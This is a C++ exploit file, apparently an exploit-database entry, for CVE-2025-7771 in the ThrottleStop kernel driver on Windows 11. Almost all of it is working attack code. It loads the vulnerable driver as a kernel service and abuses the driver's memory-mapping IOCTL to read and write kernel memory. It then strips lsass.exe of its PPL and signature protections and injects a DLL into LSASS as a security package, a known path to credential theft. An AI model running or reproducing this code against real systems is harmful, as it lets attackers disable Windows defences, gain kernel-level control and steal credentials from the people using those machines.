# Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation
# Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/
# Date: 8/12/2025
# Exploit Author: Xavi Beltran
# Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/
# Version: 3.0.0.0
# Tested on: Windows 11
# CVE-2025-7771
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <Psapi.h>
#include <superfetch/superfetch.h>
#include <tlhelp32.h>
#include <string>
#include <sspi.h>
# define IOCTL_MMMAPIOSPACE 0x8000645C
#pragma comment(lib, "Secur32.lib")
#pragma pack(push,1)
typedef struct {
ULONGLONG PhysicalAddress; // +0
DWORD NumberOfBytes; // +8
} PHYS_REQ; // 0x0C
#pragma pack(pop)
// Struct needed to call nt!NtQueryIntervalProfile
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval);
LPVOID GetBaseAddr(LPCWSTR drvname)
{
LPVOID drivers[1024];
DWORD cbNeeded;
int nDrivers, i = 0;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
WCHAR szDrivers[1024];
nDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < nDrivers; i++)
{
if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0])))
{
if (wcscmp(szDrivers, drvname) == 0)
{
return drivers[i];
}
}
}
}
return 0;
}
uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)virt_addr);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)virt_addr);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys);
// --- PHYSICAL READ ---
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // Accepts 4 or 8
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result);
return result;
}
return -1;
}
uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) {
auto mm = spf::memory_map::current();
if (!mm) {
printf("[!] Superfetch init failed!\n");
return 0;
}
auto phys = mm->translate((void*)where);
if (!phys) {
printf("[!] Translate failed for VA %p!\n", (void*)where);
return 0;
}
//printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys);
PHYS_REQ in{};
in.PhysicalAddress = phys;
in.NumberOfBytes = 0x8;
ULONGLONG out = 0;
DWORD br = 0;
BOOL ok = DeviceIoControl(hDrv,
IOCTL_MMMAPIOSPACE,
&in, sizeof(in), // 0x0C
&out, sizeof(out), // 8 (Accepts 4 or 8)
&br, nullptr);
//printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out);
if (ok && br == 8 && out) {
ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos
}
// WRITE
printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where);
*(uint64_t*)out = what;
return 0;
}
DWORD FindProcessId(const std::wstring& processName) {
DWORD processId = 0;
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE)
return 0;
PROCESSENTRY32W entry;
entry.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(snapshot, &entry)) {
do {
if (!_wcsicmp(entry.szExeFile, processName.c_str())) {
processId = entry.th32ProcessID;
break;
}
} while (Process32NextW(snapshot, &entry));
}
CloseHandle(snapshot);
return processId;
}
int main()
{
DWORD lsassPid = FindProcessId(L"lsass.exe");
printf("[+] Target process PID: %d\n", lsassPid);
//Installing the service
SC_HANDLE hSCManager;
SC_HANDLE hService;
// Open the Service Control Manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (hSCManager == NULL) {
printf("[!] Error opening SCM: %lu\n", GetLastError());
return 1;
}
// Create the service
hService = CreateService(
hSCManager,
L"ThrottleStop",
L"ThrottleStop",
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
L"C:\\Users\\Public\\a.sys",
NULL, NULL, NULL, NULL, NULL);
if (hService == NULL) {
printf("[+] Error creating service: %lu\n", GetLastError());
CloseServiceHandle(hSCManager);
//return 1;
}
printf("[!] Service created successfully.\n");
if (!StartService(hService, 0, NULL)) {
printf("[!] Error starting the service: %lu\n", GetLastError());
}
else {
printf("[+] Service started correctly.\n");
}
LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe");
printf("[+] NT base: %p\n", nt_base);
HANDLE hDrv = NULL;
hDrv = CreateFileA("\\\\.\\ThrottleStop",
(GENERIC_READ | GENERIC_WRITE),
0x00,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDrv == INVALID_HANDLE_VALUE)
{
printf("[-] Failed to get a handle on driver!\n");
return -1;
}
else {
printf("[+] Handle on driver received!\n");
}
ULONGLONG result = 0x0;
// nt!PsInitialSystemProcess nt + 0x5412e0
ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0;
DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess);
printf("[+] EPROCESS: 0x%llX\n", Eprocess);
DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
DWORD64 SearchProcessPid = 0;
DWORD64 searchEprocess = Eprocess;
while (1)
{
searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY
SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void
if (SearchProcessPid == lsassPid) // LSASS PROCESS
{
break;
}
}
printf("[+] Found LSASS EPROCESS!\n");
printf("[+] Removing PPL Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION
printf("[+] Removing Signature Level Protection...\n");
xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar
printf("[+] LSASS protections disabled\n");
CloseHandle(hDrv);
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo);
printf("[+] DLL Injection successful!\n");
return 0;
}